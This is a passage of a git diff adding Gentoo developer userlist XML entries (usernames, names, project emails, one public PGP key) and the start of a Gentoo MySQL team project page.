+      <familyname>Kriheili</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mksoft@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="msterret">
+    <realname fullname="Michael Sterrett">
+      <firstname>Michael</firstname>
+      <familyname>Sterrett</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">msterret@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="naz">
+    <realname fullname="Michael Nazaroff">
+      <firstname>Michael</firstname>
+      <familyname>Nazaroff</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">naz@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="nitro">
+    <realname fullname="Kyle Manna">
+      <firstname>Kyle</firstname>
+      <familyname>Manna</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">nitro@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="peesh">
+    <realname fullname="Jorge Paulo">
+      <firstname>Jorge</firstname>
+      <familyname>Paulo</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">peesh@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="peitolm">
+    <realname fullname="Colin Morey">
+      <firstname>Colin</firstname>
+      <familyname>Morey</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">peitolm@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="pfeifer">
+    <realname fullname="Jay Pfeifer">
+      <firstname>Jay</firstname>
+      <familyname>Pfeifer</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">pfeifer@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="piglet">
+    <realname fullname="Tim Haynes">
+      <firstname>Tim</firstname>
+      <familyname>Haynes</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">piglet@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="prez">
+    <realname fullname="Preston A. Elder">
+      <firstname>Preston</firstname>
+      <familyname>A. Elder</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">prez@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="rac">
+    <realname fullname="Robert Coie">
+      <firstname>Robert</firstname>
+      <familyname>Coie</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">rac@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="ramereth">
+    <realname fullname="Lance Albertson">
+      <firstname>Lance</firstname>
+      <familyname>Albertson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">ramereth@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="rphillips">
+    <realname fullname="Ryan Phillips">
+      <firstname>Ryan</firstname>
+      <familyname>Phillips</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">rphillips@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="satai">
+    <realname fullname="Matthew Turk">
+      <firstname>Matthew</firstname>
+      <familyname>Turk</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">satai@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="shallax">
+    <realname fullname="Thomas Pedley">
+      <firstname>Thomas</firstname>
+      <familyname>Pedley</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">shallax@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="sj7trunks">
+    <realname fullname="Benjamin Coles">
+      <firstname>Benjamin</firstname>
+      <familyname>Coles</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">sj7trunks@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="stocke2">
+    <realname fullname="Eric Stockbridge">
+      <firstname>Eric</firstname>
+      <familyname>Stockbridge</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">stocke2@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="styx">
+    <realname fullname="Joachim Blaabjerg">
+      <firstname>Joachim</firstname>
+      <familyname>Blaabjerg</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">styx@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="sunflare">
+    <realname fullname="Phil Bordelon">
+      <firstname>Phil</firstname>
+      <familyname>Bordelon</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">sunflare@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tantive">
+    <realname fullname="Michael Imhof">
+      <firstname>Michael</firstname>
+      <familyname>Imhof</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tantive@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="taviso">
+    <realname fullname="Tavis Ormandy">
+      <firstname>Tavis</firstname>
+      <familyname>Ormandy</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">taviso@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tberman">
+    <realname fullname="Todd Berman">
+      <firstname>Todd</firstname>
+      <familyname>Berman</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tberman@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tester">
+    <realname fullname="Olivier Cr�te">
+      <firstname>Olivier</firstname>
+      <familyname>Cr�te</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tester@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tod">
+    <realname fullname="Tod Neidt">
+      <firstname>Tod</firstname>
+      <familyname>Neidt</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tod@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="todd">
+    <realname fullname="Todd Sunderlin">
+      <firstname>Todd</firstname>
+      <familyname>Sunderlin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">todd@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="trance">
+    <realname fullname="Kevyn Shortell">
+      <firstname>Kevyn</firstname>
+      <familyname>Shortell</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">trance@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tuxus">
+    <realname fullname="Jan Seidel">
+      <firstname>Jan</firstname>
+      <familyname>Seidel</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tuxus@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="utx">
+    <realname fullname="Stanislav Brabec">
+      <firstname>Stanislav</firstname>
+      <familyname>Brabec</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">utx@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="vapier">
+    <realname fullname="Mike Frysinger">
+      <firstname>Mike</firstname>
+      <familyname>Frysinger</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">vapier@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="weeve">
+    <realname fullname="Jason Wever">
+      <firstname>Jason</firstname>
+      <familyname>Wever</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">weeve@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="wmertens">
+    <realname fullname="Wout Mertens">
+      <firstname>Wout</firstname>
+      <familyname>Mertens</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">wmertens@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="wolf31o2">
+    <realname fullname="Chris Gianelloni">
+      <firstname>Chris</firstname>
+      <familyname>Gianelloni</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">wolf31o2@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="wwoods">
+    <realname fullname="Will Woods">
+      <firstname>Will</firstname>
+      <familyname>Woods</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">wwoods@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="yakmoose">
+    <realname fullname="John Lennard">
+      <firstname>John</firstname>
+      <familyname>Lennard</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">yakmoose@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="ykoehler">
+    <realname fullname="Yannik Koehler">
+      <firstname>Yannik</firstname>
+      <familyname>Koehler</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">ykoehler@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="zenkov">
+    <realname fullname="Ivan Zenkov">
+      <firstname>Ivan</firstname>
+      <familyname>Zenkov</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">zenkov@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="zhware">
+    <realname fullname="Stoyan Zhekov">
+      <firstname>Stoyan</firstname>
+      <familyname>Zhekov</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">zhware@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="drobbins">
+		<realname>
+			<firstname>Daniel</firstname>
+			<familyname>Robbins</familyname>
+		</realname>
+		<pgpkey/>
+		<email role="gentoo">drobbins@gentoo.org</email>
+		<joined/>
+		<birthday/>
+		<address role="main">
+			<street/>
+			<number/>
+			<zipcode/>
+			<city/>
+			<country>US</country>
+		</address>
+	</user>
+  <user username="pauldv">
+		<realname>
+			<firstname>Paul</firstname>
+			<familyname sort="Vrieze">de Vrieze</familyname>
+		</realname>
+		<pgpkey>
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: GnuPG v1.2.2 (GNU/Linux)
+
+mQGiBD6lgzMRBADDQ2gsFmnv1EwS/7qhGwBS+5MP32FCY9yQf8I7jlFOoq8sIYLJ
+3RJQVJRBMl0BhwuW3m7FLZt4ZBGfOdtZ6oIRlBSmfEUeKIR6dIaJ7XeCPDDei5oE
+o8HIxuEGFeWsCEgN71xyypOWQLlLcsQVWaJnkJ2+08zfEx+GYaVKoIp4ywCg6zeT
+gvsmkjvctu+gK/YNqNu80GED/jTWgO9sN7XVtuYUgzwEjFWqkn+peAvlmRnTboel
+NasYlorRVE+B+KjqHp2CSTQnwwcwFLQSaBithZ9hAlfFxorhL0GR41PO0U27dYXu
+cyk/M7vp4LDNgF88nr1+1mnKUZCoNQphfbOt1I2ZXgKRlFtcGwMeufJIA/wh/Q4Z
+RF3XA/4paXgpR4qUjCsxpAKttwltKGCjC/ParPrPWgVjBtzw3n0qoY8PbHnIHEOG
+/aN9NGyCg4M+SVKjB0yGJOc6OWzcFaU09e5hpY4ahBUsaPfjmxyCNOFRhZDXPgAQ
+VTwcETq+Uk78s2fc7NIuLReJ2dvsY47Y9DdM8ALYN7sVUZqrHrQiUGF1bCBkZSBW
+cmllemUgPHBhdWxkdkBnZW50b28ub3JnPohMBBMRAgAMBQI+pYOsBYMDwmaHAAoJ
+EDW9s223SK7nOJUAn0ECCwVL6Y9QvXulpXFA++As8hteAJ4+cq+S5ESlSxzRB8Jo
+2i8Ejyny6YhfBBMRAgAfBQI+pYMzBQkDwmcABAsHAwIDFQIDAxYCAQIeAQIXgAAK
+CRBsrHkMGNYV2+FdAJ9c5gNc04ATbjkxiHF3eVjb7t31hwCfTBMGgGziiJjYgjw2
+VEFRmAl0NeW5AQ0EPqWDNRAEAM2d7Bnam2vI4YW08VFSW+PP9LRhtvT7+EmWQCEq
+pZgS6dJs6qW64vxmbleV9jsAKxE0OqkwktlaUg/i+vjqmhkjIWNLVdBw3JqRtT37
+HGeyl7mjbRzfAkZT7CpMryVFnVJ+Z4vVfYYyEiczNbi4aOU22JgJuyNmjMlAsWhp
+uZ2fAAMHBADDrDllbInVMfr6oe4KZ573uwjWpnZuvdyDn0kQWFEESwKQm2SBG1QZ
+QiD47kwPC5KpkuwnoQLWSUBijm86ZZ6bdUYAEryxpm/zfP/XkslrGGNaIlN7NGm6
+z1NPCE8kS3BpIoL5Vwyk2uc93+xap4gHIUFFyl7qj0EkKtmZeaWVx4hMBBgRAgAM
+BQI+pYM1BQkDwmcAAAoJEGyseQwY1hXb5KwAn194Kekxz6yCKbiGLYGZEWzrSW9W
+AKDQPOZyb/Cd93GWCRdyDE4wK6VOvQ==
+=gHLP
+-----END PGP PUBLIC KEY BLOCK-----
+		</pgpkey>
+		<email role="primary">pauldv@cs.kun.nl</email>
+		<email role="alias">paul@devrieze.net</email>
+		<email role="secondary">p.t.devrieze@uvt.nl</email>
+		<joined>2003-04-22</joined>
+		<birthday>1979-09-30</birthday>
+		<webpage>http://www.cs.kun.nl/~pauldv</webpage>
+	</user>
+  <user username="abhishek">
+    <realname fullname="Abhishek Amit">
+      <firstname>Abhishek</firstname>
+      <familyname>Amit</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">abhishek@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="azarah">
+    <realname fullname="Martin Schlemmer">
+      <firstname>Martin</firstname>
+      <familyname>Schlemmer</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">azarah@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="brad">
+    <realname fullname="Brad Laue">
+      <firstname>Brad</firstname>
+      <familyname>Laue</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">brad@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="coredumb">
+    <realname fullname="Tal Peer">
+      <firstname>Tal</firstname>
+      <familyname>Peer</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">coredumb@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="coronalvr">
+    <realname fullname="Alex Veber">
+      <firstname>Alex</firstname>
+      <familyname>Veber</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">coronalvr@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="cybersystem">
+    <realname fullname="Sascha Schwabbauer">
+      <firstname>Sascha</firstname>
+      <familyname>Schwabbauer</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">cybersystem@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="darkspecter">
+    <realname fullname="Bartosch Pixa">
+      <firstname>Bartosch</firstname>
+      <familyname>Pixa</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">darkspecter@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="dholm">
+    <realname fullname="David Holm">
+      <firstname>David</firstname>
+      <familyname>Holm</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">dholm@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="frogger">
+    <realname fullname="Matt Rickard">
+      <firstname>Matt</firstname>
+      <familyname>Rickard</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">frogger@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="george">
+    <realname fullname="George Shapovalov">
+      <firstname>George</firstname>
+      <familyname>Shapovalov</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">george@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="gregf">
+    <realname fullname="Greg Fitzgerald">
+      <firstname>Greg</firstname>
+      <familyname>Fitzgerald</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">gregf@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="jje">
+    <realname fullname="John J. Ellis">
+      <firstname>John J.</firstname>
+      <familyname>Ellis</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">jje@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="johnm">
+    <realname fullname="John Mylchreest">
+      <firstname>John</firstname>
+      <familyname>Mylchreest</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">johnm@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="kosmikus">
+    <realname fullname="Andres Loeh">
+      <firstname>Andres</firstname>
+      <familyname>Loeh</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">kosmikus@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lanius">
+    <realname fullname="Heinrich Wendel">
+      <firstname>Heinrich</firstname>
+      <familyname>Wendel</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lanius@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="latexer">
+    <realname fullname="Peter Johanson">
+      <firstname>Peter</firstname>
+      <familyname>Johanson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">latexer@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="liquidx">
+    <realname fullname="Alastair Tse">
+      <firstname>Alastair</firstname>
+      <familyname>Tse</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">liquidx@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lordvan">
+    <realname fullname="Thomas Raschbacher">
+      <firstname>Thomas</firstname>
+      <familyname>Raschbacher</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lordvan@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lu_zero">
+    <realname fullname="Luca Barbato">
+      <firstname>Luca</firstname>
+      <familyname>Barbato</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lu_zero@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="luke-jr">
+    <realname fullname="Luke-Jr">
+      <firstname/>
+      <familyname/>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">luke-jr@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="matsuu">
+    <realname fullname="Matsuu Takuto">
+      <firstname>Matsuu</firstname>
+      <familyname>Takuto</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">matsuu@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="max">
+    <realname fullname="Max Kalika">
+      <firstname>Max</firstname>
+      <familyname>Kalika</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">max@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mboman">
+    <realname fullname="Michael Boman">
+      <firstname>Michael</firstname>
+      <familyname>Boman</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mboman@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="method">
+    <realname fullname="Joshua Brindle">
+      <firstname>Joshua</firstname>
+      <familyname>Brindle</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">method@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mips">
+    <realname fullname="Mips Team">
+      <firstname>Mips</firstname>
+      <familyname>Team</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mips@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mkennedy">
+    <realname fullname="Matthew Kennedy">
+      <firstname>Matthew</firstname>
+      <familyname>Kennedy</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mkennedy@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="nakano">
+    <realname fullname="Masatomo Nakano">
+      <firstname>Masatomo</firstname>
+      <familyname>Nakano</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">nakano@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="natey">
+    <realname fullname="Nate Underwood">
+      <firstname>Nate</firstname>
+      <familyname>Underwood</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">natey@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="obz">
+    <realname fullname="Mike Gardiner">
+      <firstname>Mike</firstname>
+      <familyname>Gardiner</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">obz@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="pappy">
+    <realname fullname="Alexander Gabert">
+      <firstname>Alexander</firstname>
+      <familyname>Gabert</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">pappy@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="pebenito">
+    <realname fullname="Chris PeBenito">
+      <firstname>Chris</firstname>
+      <familyname>PeBenito</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">pebenito@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="phosphan">
+    <realname fullname="Patrick Kursawe">
+      <firstname>Patrick</firstname>
+      <familyname>Kursawe</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">phosphan@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="pvdabeel">
+    <realname fullname="Pieter van den Abeele">
+      <firstname>Pieter</firstname>
+      <familyname sort="Abeele">van den Abeele</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">pvdabeel@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="pylon">
+    <realname fullname="Lars Weiler">
+      <firstname>Lars</firstname>
+      <familyname>Weiler</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">pylon@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="rajiv">
+    <realname fullname="Rajiv Aaron Manglani">
+      <firstname>Rajiv Aaron</firstname>
+      <familyname>Manglani</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">rajiv@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="raker">
+    <realname fullname="Nick Haddaway">
+      <firstname>Nick</firstname>
+      <familyname>Haddaway</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">raker@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="rizzo">
+    <realname fullname="Don Seiler">
+      <firstname>Don</firstname>
+      <familyname>Seiler</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">rizzo@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="robbat2">
+    <realname fullname="Robin H. Johnson">
+      <firstname>Robin H.</firstname>
+      <familyname>Johnson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">robbat2@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="sediener">
+    <realname fullname="Stephen Diener">
+      <firstname>Stephen</firstname>
+      <familyname>Diener</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">sediener@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="seemant">
+    <realname fullname="Seemant Kulleen">
+      <firstname>Seemant</firstname>
+      <familyname>Kulleen</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">seemant@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="seo">
+    <realname fullname="Jungmin Seo">
+      <firstname>Jungmin</firstname>
+      <familyname>Seo</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">seo@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="sindian">
+    <realname fullname="Arun Thomas">
+      <firstname>Arun</firstname>
+      <familyname>Thomas</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">sindian@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="solar">
+    <realname fullname="Ned Ludd">
+      <firstname>Ned</firstname>
+      <familyname>Ludd</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">solar@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="sparc">
+    <realname fullname="INVALID!!!!!!!!!!!(Sparc Team)">
+      <firstname/>
+      <familyname/>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">sparc@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="spider">
+    <realname fullname="D.M.D. Ljungmark">
+      <firstname>D.M.D.</firstname>
+      <familyname>Ljungmark</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">spider@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="spyderous">
+    <realname fullname="Donnie Berkholz">
+      <firstname>Donnie</firstname>
+      <familyname>Berkholz</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">spyderous@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="strider">
+    <realname fullname="Adrian Almenar">
+      <firstname>Adrian</firstname>
+      <familyname>Almenar</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">strider@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="stuart">
+    <realname fullname="Stuart Herbert">
+      <firstname>Stuart</firstname>
+      <familyname>Herbert</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">stuart@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="svyatogor">
+    <realname fullname="Sergey Kuleshov">
+      <firstname>Sergey</firstname>
+      <familyname>Kuleshov</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">svyatogor@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="swift">
+    <realname fullname="Sven Vermeulen">
+      <firstname>Sven</firstname>
+      <familyname>Vermeulen</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">swift@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tad">
+    <realname fullname="Troy Dack">
+      <firstname>Troy</firstname>
+      <familyname>Dack</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tad@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tigger">
+    <realname fullname="Rob Holland">
+      <firstname>Rob</firstname>
+      <familyname>Holland</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tigger@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="tseng">
+    <realname fullname="Brandon Hale">
+      <firstname>Brandon</firstname>
+      <familyname>Hale</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">tseng@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="twp">
+    <realname fullname="Tom Payne">
+      <firstname>Tom</firstname>
+      <familyname>Payne</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">twp@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="usata">
+    <realname fullname="Mamoru Komachi">
+      <firstname>Mamoru</firstname>
+      <familyname>Komachi</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">usata@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="warpzero">
+    <realname fullname="Joshua Charles Campbell">
+      <firstname>Joshua Charles</firstname>
+      <familyname>Campbell</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">warpzero@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="woodchip">
+    <realname fullname="Donny Davies">
+      <firstname>Donny</firstname>
+      <familyname>Davies</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">woodchip@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="wschlich">
+    <realname fullname="Wolfram Schlich">
+      <firstname>Wolfram</firstname>
+      <familyname>Schlich</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">wschlich@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="yakina">
+    <realname fullname="Yamakura Makoto">
+      <firstname>Yamakura</firstname>
+      <familyname>Makoto</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">yakina@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+</userlist>
diff --git a/xml/htdocs/proj/en/mysql/index.xml b/xml/htdocs/proj/en/mysql/index.xml
new file mode 100644
index 00000000..d036db29
--- /dev/null
+++ b/xml/htdocs/proj/en/mysql/index.xml
@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>MySQL</name>
+<longname>Gentoo MySQL Team</longname>
+<date>2006-12-07</date>
+
+<description>
+The Gentoo MySQL Team is responsible for delivering high-quality support for
+the MySQL RDBMS (Relational DataBase Management System) for Gentoo Linux.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo MySQL Team looks after the packages for the MySQL RDBMS.
+MySQL is by far the most important and popular RDBMS for
+web-based applications, and is the 'M' in the LAMP stack.
+</p>
+
+<p>
+We're also onhand to provide information and support on MySQL to other Gentoo 
+developers.
+</p>
+
+</longdescription>
+
+<goals><p>
+Our goal is to ensure that Gentoo provides the best environment possible for 
+developing and running software based on MySQL.
+</p></goals>
+
+<!-- Developer Roles -->
+<dev role="Member">robbat2</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="http://overlays.gentoo.org/proj/mysql/">The Gentoo MySQL Overlay &amp; Wiki</resource>
+
+<!-- Subprojects -->
+<!--subproject ref="/proj/en/gdp/international.xml"/-->
+
+<!-- herds -->
+<herd name="mysql" />
+
+<!-- Status updates -->
+<extrachapter>
+<title>Status Updates</title>
+<section>
+<title>What are Status Updates?</title>
+<body>
+
